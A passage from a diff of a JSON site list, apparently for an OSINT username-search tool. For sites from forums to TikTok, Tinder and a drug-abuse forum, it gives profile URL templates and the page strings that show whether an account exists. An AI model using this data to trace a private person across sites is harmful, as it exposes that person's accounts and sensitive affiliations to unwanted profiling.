\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "herdun" + ], + "alexaRank": 191670, + "urlMain": "https://studwork.org/", + "url": "https://studwork.org/info/{username}", + "usernameClaimed": "tmm22", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Stunited": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 2446369, + "urlMain": "http://stunited.org", + "url": "http://stunited.org/profile/{username}", + "usernameClaimed": "mani-vel", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "education" + ] + }, + "Subeta": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Invalid user" + ], + "alexaRank": 895833, + "urlMain": "https://subeta.net/", + "url": "https://subeta.net/users/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SublimeForum": { + "tags": [ + "coding", + "forum", + "in" + ], + "engine": "Discourse", + "alexaRank": 9081, + "urlMain": "https://forum.sublimetext.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Sugoidesu": { + "engine": "XenForo", + "alexaRank": 5060377, + "urlMain": "https://sugoidesu.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Suomi24": { + "tags": [ + "fi", + "jp" + ], + "checkType": "status_code", + "alexaRank": 40750, + "urlMain": "https://www.suomi24.fi", + "url": "https://www.suomi24.fi/profiili/{username}", + "usernameClaimed": "Kilgore", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Suzuri.jp": { + "checkType": "message", + "absenceStrs": [ + "404 | SUZURI" + ], + "presenseStrs": [ + "\u221e SUZURI\uff08\u30b9\u30ba\u30ea\uff09" + ], + "url": "https://suzuri.jp/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Swapd": { + "checkType": "status_code", + "url": "https://swapd.co/u/{username}", + "usernameClaimed": "swapd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SwimmingForum": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 7234157, + "urlMain": "http://forumswimming.ru", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Syktforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "urlMain": "http://syktforum.ru", + "url": "http://syktforum.ru/profile/{username}", + "usernameClaimed": "TonyT", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SyktyvkarOnline": { + "tags": [ + "ru" + ], + "errors": { + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434": "Verification redirect page" + }, + "checkType": "message", + "absenceStrs": [ + "", + "error404-404" + ], + "urlMain": "http://syktyvkar-online.ru", + "url": "http://syktyvkar-online.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Sysadmins": { + "tags": [ + "forum", + "ru", + "tech" + ], + "checkType": "message", + "absenceStrs": [ + "Could not obtain user posts information" + ], + "alexaRank": 163279, + "urlMain": "https://sysadmins.ru", + "url": "https://sysadmins.ru/member{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sythe": { + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 47177, + "urlMain": "https://www.sythe.org", + "usernameClaimed": "rskingp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Szerokikadr.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie masz jeszcze konta?" + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://www.szerokikadr.pl/profil,{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Szmer.info": { + "checkType": "message", + "absenceStrs": [ + "Code: Couldn't find that username or email." + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://szmer.info/u/{username}", + "usernameClaimed": "Xavier", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "T-MobileSupport": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 990, + "urlMain": "https://support.t-mobile.com", + "url": "https://support.t-mobile.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Tanuki.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie ma takiego u\u017cytkownika" + ], + "presenseStrs": [ + "Do\u0142\u0105czy\u0142" + ], + "url": "https://tanuki.pl/profil/{username}", + "usernameClaimed": "ania", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Taskrabbit": { + "checkType": "message", + "absenceStrs": [ + "TaskRabbit: Same Day Handyman, Moving & Delivery Services" + ], + "presenseStrs": [ + "\u2019s Profile" + ], + "url": "https://www.taskrabbit.com/profile/{username}/about", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TEENUS": { + "checkType": "message", + "presenseStrs": [ + "user-profile" + ], + "absenceStrs": [ + "Viimati lisatud" + ], + "alexaRank": 2699414, + "urlMain": "http://www.teenus.info", + "url": "http://www.teenus.info/kasutaja/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "business", + "ee" + ], + "disabled": true + }, + "Teknik": { + "checkType": "message", + "absenceStrs": [ + "The user does not exist" + ], + "presenseStrs": [ + "Public Key" + ], + "url": "https://user.teknik.io/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tenor.com": { + "checkType": "message", + "regexCheck": "^[A-Za-z0-9_]{2,32}$", + "absenceStrs": [ + "404 Error" + ], + "presenseStrs": [ + "s GIFs on Tenor" + ], + "url": "https://tenor.com/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tetr.io": { + "checkType": "message", + "absenceStrs": [ + "No such user!" + ], + "presenseStrs": [ + "success\":true" + ], + "url": "https://ch.tetr.io/api/users/{username}", + "usernameClaimed": "osk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tf2Items": { + "checkType": "message", + "absenceStrs": [ + "TF2 Backpack Examiner" + ], + "presenseStrs": [ + "TF2 Backpack -" + ], + "url": "http://www.tf2items.com/id/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tfl.net.pl": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@tfl.net.pl" + ], + "url": "https://tfl.net.pl/@{username}", + "usernameClaimed": "manies", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Thegatewaypundit": { + "checkType": "message", + "absenceStrs": [ + "Oops! That page can\u2019t be found." + ], + "presenseStrs": [ + "avatar avatar-50 photo" + ], + "url": "https://www.thegatewaypundit.com/author/{username}/", + "usernameClaimed": "patti", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thetattooforum": { + "checkType": "message", + "absenceStrs": [ + "We\u2019re sorry" + ], + "presenseStrs": [ + "Insert This Gallery" + ], + "url": "https://www.thetattooforum.com/members/{username}/", + "usernameClaimed": "mixdop", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TJournal": { + "disabled": true, + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + ], + "alexaRank": 10279, + "urlMain": "https://tjournal.ru", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tldrlegal.com": { + "checkType": "message", + "regexCheck": "^[a-zA-Z0-9]{3,20}$", + "absenceStrs": [ + "Page Not Found - TLDRLegal" + ], + "presenseStrs": [ + "s Profile - TLDRLegal" + ], + "url": "https://tldrlegal.com/users/{username}/", + "usernameClaimed": "kevin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TRASHBOX.RU": { + "tags": [ + "az", + "ru" + ], + "regexCheck": "^[A-Za-z0-9_-]{3,16}$", + "checkType": "message", + "absenceStrs": [ + "404 \u2014 Not found" + ], + "urlMain": "https://trashbox.ru/", + "url": "https://trashbox.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "never-never-ever", + "alexaRank": 16644 + }, + "TVTropes": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 11858, + "urlMain": "https://tvtropes.org", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{username}", + "usernameClaimed": "Chabal2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tabun": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 917529, + "urlMain": "https://tabun.everypony.ru", + "url": "https://tabun.everypony.ru/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TalkDrugabuse": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 217212, + "urlMain": "https://talk.drugabuse.com", + "url": "https://talk.drugabuse.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Talks.by": { + "disabled": true, + "tags": [ + "by", + "forum" + ], + "engine": "vBulletin", + "alexaRank": 17739, + "urlMain": "https://talks.by", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Talkstats": { + "tags": [ + "au" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 186559, + "urlMain": "https://www.talkstats.com", + "url": "https://www.talkstats.com/members/?username={username}", + "usernameClaimed": "johnlee", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TamTam": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "data-tsid=\"avatar\"" + ], + "absenceStrs": [ + "Pv3WuoqzAb05NxqHCgZ29Z2jmQ" + ], + "alexaRank": 142765, + "urlMain": "https://tamtam.chat/", + "url": "https://tamtam.chat/{username}", + "errorUrl": "https://tamtam.chat/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tanks": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://tanks.mail.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Taplink": { + "disabled": true, + "tags": [ + "links", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://taplink.cc/", + "url": "https://taplink.cc/{username}", + "usernameClaimed": "taplink.ru", + "usernameUnclaimed": "noonewouldeverusethis77777", + "alexaRank": 4798 + }, + "TechPowerUp": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 4382, + "urlMain": "https://www.techpowerup.com", + "url": "https://www.techpowerup.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Techdirt": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 17796, + "urlMain": "https://www.techdirt.com/", + "url": "https://www.techdirt.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Techrepublic": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 3127, + "urlMain": "https://www.techrepublic.com", + "url": "https://www.techrepublic.com/members/profile/{username}/", + "usernameClaimed": "Kentertainments75", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Telegram": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_]{4,}$", + "checkType": "message", + "absenceStrs": [ + "<meta name=\"robots\" content=\"noindex, nofollow\">", + "<meta property=\"twitter:title\" content=\"Telegram: Contact" + ], + "alexaRank": 154, + "urlMain": "https://t.me/", + "url": "https://t.me/{username}", + "usernameClaimed": "BotFather", + "usernameUnclaimed": "noonewouldevereverusethis9" + }, + "Teletype": { + "tags": [ + "in", + "writing" + ], + "checkType": "status_code", + "alexaRank": 12440, + "urlMain": "https://teletype.in", + "url": "https://teletype.in/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tellonym.me": { + "tags": [ + "de", + "fr", + "sa", + "us" + ], + "checkType": "status_code", + "alexaRank": 49356, + "urlMain": "https://tellonym.me/", + "url": "https://tellonym.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Terminator": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://terminator-scc.net.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Terminatorium": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://terminatorium.borda.ru/", + "url": "https://terminatorium.borda.ru/?32-{username}", + "usernameClaimed": "tengu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Texasguntalk": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 810331, + "urlMain": "https://www.texasguntalk.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "The AnswerBank": { + "tags": [ + "gb", + "q&a" + ], + "checkType": "message", + "absenceStrs": [ + "Welcome to the AnswerBank" + ], + "alexaRank": 129670, + "urlMain": "https://www.theanswerbank.co.uk", + "url": "https://www.theanswerbank.co.uk/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheFastlaneForum": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 40275, + "urlMain": "https://www.thefastlaneforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheGuardian": { + "disabled": true, + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>public profile | Identity | The Guardian" + ], + "alexaRank": 159, + "urlMain": "https://theguardian.com", + "url": "https://profile.theguardian.com/user/{username}", + "usernameClaimed": "frogprincess", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheOdysseyOnline": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "alexaRank": 16462, + "urlMain": "https://www.theodysseyonline.com", + "url": "https://www.theodysseyonline.com/user/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheSimsResource": { + "tags": [ + "gaming" + ], + "checkType": "response_url", + "alexaRank": 12278, + "urlMain": "https://www.thesimsresource.com/", + "url": "https://www.thesimsresource.com/members/{username}/", + "usernameClaimed": "DanSimsFantasy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheStudentRoom": { + "tags": [ + "forum", + "gb" + ], + "engine": "vBulletin", + "alexaRank": 8267, + "urlMain": "https://www.thestudentroom.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheVerge": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 678, + "urlMain": "https://www.theverge.com", + "url": "https://www.theverge.com/users/{username}", + "usernameClaimed": "Patlex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheVillage.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "The Village: \u043e\u0448\u0438\u0431\u043a\u0430 404, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 21538, + "urlMain": "https://www.the-village.ru/", + "url": "https://www.the-village.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thebigboss": { + "tags": [ + "tr" + ], + "checkType": "status_code", + "alexaRank": 678092, + "urlMain": "http://thebigboss.org", + "url": "http://thebigboss.org/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thebuddyforum": { + "tags": [ + "forum", + "gaming" + ], + "engine": "XenForo", + "alexaRank": 831319, + "urlMain": "https://www.thebuddyforum.com", + "usernameClaimed": "tony", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thechive": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Posts By" + ], + "absenceStrs": [ + "Find something else." + ], + "alexaRank": 3293, + "urlMain": "https://thechive.com/", + "url": "https://thechive.com/author/{username}", + "usernameClaimed": "bhgilliland", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thedaftclub": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 746415, + "urlMain": "https://www.thedaftclub.com", + "url": "https://www.thedaftclub.com/forum/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thefirearmsforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "urlMain": "https://www.thefirearmsforum.com", + "url": "https://www.thefirearmsforum.com/members/?username={username}", + "usernameClaimed": "willieb", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 668602 + }, + "Thelion": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "We are sorry but the following error has occurred." + ], + "alexaRank": 149542, + "urlMain": "http://www.thelion.com", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ThemeForest": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 515, + "urlMain": "https://themeforest.net", + "url": "https://themeforest.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thephysicsforum": { + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 5348693, + "urlMain": "https://www.thephysicsforum.com", + "url": "https://www.thephysicsforum.com/members/{username}.html", + "usernameClaimed": "andrewc", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "TikTok": { + "tags": [ + "video" + ], + "headers": { + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" + }, + "errors": { + "tiktok-verify-page": "Captcha detected" + }, + "checkType": "message", + "presenseStrs": [ + "\"nickname\":" + ], + "absenceStrs": [ + "serverCode\":404" + ], + "alexaRank": 98, + "urlMain": "https://www.tiktok.com/", + "url": "https://www.tiktok.com/@{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis1" + }, + "TikTok Online Viewer": { + "disabled": true, + "tags": [ + "us" + ], + "errors": { + "Website unavailable": "Site error", + "is currently offline": "Site error" + }, + "checkType": "message", + "absenceStrs": [ + "Not Found - TTonlineviewer" + ], + "source": "TikTok", + "alexaRank": 5826276, + "urlMain": "https://ttonlineviewer.com", + "url": "https://ttonlineviewer.com/user/{username}", + "usernameClaimed": "rednec", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tinder": { + "tags": [ + "dating", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "twitter:title\" content=\"Tinder |", + "Tinder |", + "<title data-react-helmet=\"true\">" + ], + "alexaRank": 960, + "urlMain": "https://tinder.com/", + "url": "https://www.tinder.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tkgr": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://tkgr.ru/", + "url": "http://tkgr.ru/forum/member/{username}", + "usernameClaimed": "siber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tl": { + "tags": [ + "de", + "dk", + "us" + ], + "checkType": "status_code", + "alexaRank": 49023, + "urlMain": "https://tl.net", + "url": "https://tl.net/forum/profile.php?user={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TomsHardware": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found.", + "The requested page could not be found." + ], + "alexaRank": 2037, + "urlMain": "https://forums.tomshardware.com/", + "url": "https://forums.tomshardware.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tomtom": { + "disabled": true, + "tags": [ + "de", + "in", + "it", + "nl", + "no", + "us" + ], + "checkType": "status_code", + "alexaRank": 23370, + "urlMain": "https://discussions.tomtom.com/", + "url": "https://discussions.tomtom.com/en/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Torrent-soft": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 57590, + "urlMain": "https://torrent-soft.net", + "url": "https://torrent-soft.net/user/{username}/", + "usernameClaimed": "Baguvix", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Toster": { + "tags": [ + "coding", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://qna.habr.com/", + "url": "https://qna.habr.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TotalStavki": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 4592979, + "urlMain": "https://totalstavki.ru", + "url": "https://totalstavki.ru/forum/members/?username={username}", + "usernameClaimed": "turbo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Totseans": { + "checkType": "status_code", + "alexaRank": 7214531, + "urlMain": "http://www.totseans.com/bbs/profile/Vizier", + "url": "http://www.totseans.com/bbs/profile/{username}", + "usernameClaimed": "Vizier", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Touristlink": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Members across the World" + ], + "alexaRank": 122492, + "urlMain": "https://www.touristlink.com", + "url": "https://www.touristlink.com/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anilist": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "/img/404/" + ], + "presenseStrs": [ + "/user/uehkon/animelist" + ], + "url": "https://anilist.co/user/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tproger": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "404" + ], + "alexaRank": 36445, + "urlMain": "https://tproger.ru", + "url": "https://tproger.ru/author/{username}/", + "usernameClaimed": "NickPrice", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "TrackmaniaLadder": { + "disabled": true, + "tags": [ + "au" + ], + "checkType": "message", + "absenceStrs": [ + "player unknown or invalid" + ], + "urlMain": "http://en.tm-ladder.com/index.php", + "url": "http://en.tm-ladder.com/{username}_rech.php", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "alexaRank": 7229230 + }, + "TradingView": { + "tags": [ + "trading", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "tv-profile" + ], + "absenceStrs": [ + "Page not found \u2014 TradingView" + ], + "alexaRank": 61, + "urlMain": "https://www.tradingview.com/", + "url": "https://www.tradingview.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trainsim": { + "urlSubpath": "/vbts", + "disabled": true, + "tags": [ + "forum", + "in" + ], + "engine": "vBulletin", + "alexaRank": 81136, + "urlMain": "https://www.trainsim.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trakt": { + "tags": [ + "de", + "fr" + ], + "checkType": "status_code", + "alexaRank": 7650, + "urlMain": "https://www.trakt.tv/", + "url": "https://www.trakt.tv/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Traktrain": { + "checkType": "status_code", + "url": "https://traktrain.com/{username}", + "usernameClaimed": "traktrain", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Travelblog": { + "tags": [ + "blog", + "travel" + ], + "checkType": "status_code", + "alexaRank": 84207, + "urlMain": "https://www.travelblog.org", + "url": "https://www.travelblog.org/Bloggers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TravellersPoint": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Wooops. Sorry!" + ], + "alexaRank": 68105, + "urlMain": "https://www.travellerspoint.com", + "url": "https://www.travellerspoint.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Travis": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 471134, + "urlMain": "https://travis-ci.community", + "usernameClaimed": "montana", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trello": { + "tags": [ + "tasks" + ], + "urlProbe": "https://trello.com/1/Members/{username}", + "checkType": "message", + "absenceStrs": [ + "model not found" + ], + "alexaRank": 163, + "urlMain": "https://trello.com/", + "url": "https://trello.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trinixy": { + "tags": [ + "news", + "ru" + ], + "checkType": "status_code", + "alexaRank": 38880, + "urlMain": "https://trinixy.ru", + "url": "https://trinixy.ru/user/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TripAdvisor": { + "tags": [ + "travel" + ], + "checkType": "message", + "absenceStrs": [ + "This page is on vacation\u2026" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5" + }, + "alexaRank": 348, + "urlMain": "https://tripadvisor.com/", + "url": "https://tripadvisor.com/members/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tripline": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 104988, + "urlMain": "https://www.tripline.net", + "url": "https://www.tripline.net/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tripster": { + "tags": [ + "de", + "ru" + ], + "checkType": "status_code", + "alexaRank": 39599, + "urlMain": "https://tripster.ru", + "url": "https://tripster.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trisquel": { + "tags": [ + "eu", + "in" + ], + "checkType": "status_code", + "alexaRank": 548123, + "urlMain": "https://trisquel.info", + "url": "https://trisquel.info/it/users/{username}", + "usernameClaimed": "redfox", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TruckersMP.com": { + "tags": [ + "de", + "forum", + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "There were no results for your search.", + "Forums currently down for maintenance. No ETA on return." + ], + "alexaRank": 32270, + "urlMain": "https://forum.truckersmp.com", + "url": "https://forum.truckersmp.com/index.php?/search/&q={username}&type=core_members", + "usernameClaimed": "ireacher", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TruckersMP.ru": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://truckersmp.ru", + "url": "https://truckersmp.ru/{username}", + "usernameClaimed": "RamanBY", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TrueAchievements": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 19227, + "urlMain": "https://www.trueachievements.com", + "url": "https://www.trueachievements.com/gamer/{username}", + "usernameClaimed": "metallicafan459", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truelancer": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "https://schema.org/BreadcrumbList" + ], + "absenceStrs": [ + "This page could not be found." + ], + "alexaRank": 9186, + "urlMain": "https://www.truelancer.com", + "url": "https://www.truelancer.com/freelancer/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truesteamachievements": { + "tags": [ + "az", + "gb", + "us" + ], + "checkType": 